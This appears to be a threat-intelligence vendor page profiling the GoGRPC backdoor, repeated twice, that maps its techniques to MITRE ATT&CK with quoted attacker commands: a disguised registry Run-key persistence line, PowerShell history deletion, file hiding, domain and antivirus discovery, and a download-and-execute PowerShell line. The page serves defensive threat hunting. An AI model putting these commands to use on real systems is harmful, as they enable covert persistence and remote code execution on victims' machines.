Malware

GoGRPC

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique

T1598.004Spearphishing VoiceEvidence1

The initial compromise by this threat actor likely starts with spam bombing the victim’s inbox... These vishing attacks use Microsoft Teams, with the threat actor posing as IT/helpdesk staff offering assistance.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence2

There are two main types of commands supported by GoGRPC, which can execute arbitrary shell commands... GoGRPC executes the ExecuteCommand command via the Go os/exec library.

T1059.001PowerShellEvidence2

After establishing a Quick Assist remote session on the victim’s system, the threat actor launches a PowerShell command that downloads and executes GoGRPC...

Persistence

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence2

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Realtek HD Audio" -Value $p

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence2

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Realtek HD Audio" -Value $p

Stealth

4 techniques

T1036MasqueradingEvidence1

-Name "Realtek HD Audio" -Value $p

T1070.004File DeletionEvidence1

Remove-Item ( Get-PSReadlineOption ).HistorySavePath

T1564Hide ArtifactsEvidence1

attrib + h +s C:\Users\********\AppData\Local\Temp\ssd.exe

T1564.001Hidden Files and DirectoriesEvidence1

attrib +h +s C:\Users********\AppData\Local\Temp\ssd.exe

Discovery

7 techniques

T1016System Network Configuration DiscoveryEvidence1

systeminfo

T1033System Owner/User DiscoveryEvidence1

GoGRPC also gathers other information such as the computer name, user name, machine GUID...

T1082System Information DiscoveryEvidence2

GoGRPC then begins a system fingerprinting process... These commands retrieve information about the victim’s Windows system, including the Windows version and current build.

T1087Account DiscoveryEvidence2

systeminfo ; whoami /groups ; net user "$env:UserName" /domain

T1482Domain Trust DiscoveryEvidence2

nltest /domain_trusts

T1518Software DiscoveryEvidence1

Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName "AntiVirusProduct" -ErrorAction Stop

T1518.001Security Software DiscoveryEvidence1

powershell Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName "AntiVirusProduct" -ErrorAction Stop

Lateral Movement

1 technique

T1021Remote ServicesEvidence1

After establishing a Quick Assist remote session on the victim’s system, the threat actor launches a PowerShell command that downloads and executes GoGRPC

Command and Control

3 techniques

T1071Application Layer ProtocolEvidence2

GoGRPC uses gRPC over HTTP/2 to communicate with C2 servers... The proxy opens a WebSocket connection over TLS to a hardcoded C2 server.

T1090ProxyEvidence2

The proxy opens a WebSocket connection over TLS to a hardcoded C2 server. Once the connection is established, the threat actor can tunnel TCP traffic through the compromised host.

T1105Ingress Tool TransferEvidence2

Invoke-WebRequest $u -OutFile $p ; Unblock-File $p ; Start-Process $p

INDICATORS OF COMPROMISE

IOCs tracked for this family

2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

1 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other

1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

domain●●●●●●●●●●●●View more in apptoday

uri●●●●●●●●●●●●View more in apptoday

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

malware newsNews

Jul 27, 2026

Helpdesk Hijackers: Teams Vishing, Quick Assist, and GoGRPC Backdoor - Malware News - Malware Analysis, News and Indicators

A Go-based backdoor used after Teams/Quick Assist initial access. It fingerprints victim systems, establishes persistence, registers with C2 over gRPC/HTTP2, executes shell commands, and in earlier variants defined proxy/tunneling functionality. Later variants added TLS and obfuscation, indicating active evolution toward corporate targeting.

zscaler threat labzNews

Jul 27, 2026

Technical Analysis of GoGRPC | ThreatLabz

Go-based backdoor that establishes persistence, fingerprints the victim host, communicates with C2 over gRPC/HTTP2, and executes arbitrary shell commands. Some variants also defined proxy-tunneling functionality, while newer variants added TLS support and changed endpoints.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching2

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping19

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

Malware

GoGRPC

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique

T1598.004Spearphishing VoiceEvidence1

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence2

There are two main types of commands supported by GoGRPC, which can execute arbitrary shell commands... GoGRPC executes the ExecuteCommand command via the Go os/exec library.

T1059.001PowerShellEvidence2

After establishing a Quick Assist remote session on the victim’s system, the threat actor launches a PowerShell command that downloads and executes GoGRPC...

Persistence

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence2

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Realtek HD Audio" -Value $p

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence2

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Realtek HD Audio" -Value $p

Stealth

4 techniques

T1036MasqueradingEvidence1

-Name "Realtek HD Audio" -Value $p

T1070.004File DeletionEvidence1

Remove-Item ( Get-PSReadlineOption ).HistorySavePath

T1564Hide ArtifactsEvidence1

attrib + h +s C:\Users\********\AppData\Local\Temp\ssd.exe

T1564.001Hidden Files and DirectoriesEvidence1

attrib +h +s C:\Users********\AppData\Local\Temp\ssd.exe

Discovery

7 techniques

T1016System Network Configuration DiscoveryEvidence1

systeminfo

T1033System Owner/User DiscoveryEvidence1

GoGRPC also gathers other information such as the computer name, user name, machine GUID...

T1082System Information DiscoveryEvidence2

GoGRPC then begins a system fingerprinting process... These commands retrieve information about the victim’s Windows system, including the Windows version and current build.

T1087Account DiscoveryEvidence2

systeminfo ; whoami /groups ; net user "$env:UserName" /domain

T1482Domain Trust DiscoveryEvidence2

nltest /domain_trusts

T1518Software DiscoveryEvidence1

Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName "AntiVirusProduct" -ErrorAction Stop

T1518.001Security Software DiscoveryEvidence1

powershell Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName "AntiVirusProduct" -ErrorAction Stop

Lateral Movement

1 technique

T1021Remote ServicesEvidence1

After establishing a Quick Assist remote session on the victim’s system, the threat actor launches a PowerShell command that downloads and executes GoGRPC

Command and Control

3 techniques

T1071Application Layer ProtocolEvidence2

GoGRPC uses gRPC over HTTP/2 to communicate with C2 servers... The proxy opens a WebSocket connection over TLS to a hardcoded C2 server.

T1090ProxyEvidence2

The proxy opens a WebSocket connection over TLS to a hardcoded C2 server. Once the connection is established, the threat actor can tunnel TCP traffic through the compromised host.

T1105Ingress Tool TransferEvidence2

Invoke-WebRequest $u -OutFile $p ; Unblock-File $p ; Start-Process $p

INDICATORS OF COMPROMISE

IOCs tracked for this family

2 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

1 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other

1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

domain●●●●●●●●●●●●View more in apptoday

uri●●●●●●●●●●●●View more in apptoday

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

malware newsNews

Jul 27, 2026

Helpdesk Hijackers: Teams Vishing, Quick Assist, and GoGRPC Backdoor - Malware News - Malware Analysis, News and Indicators

zscaler threat labzNews

Jul 27, 2026

Technical Analysis of GoGRPC | ThreatLabz

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching2

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping19

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.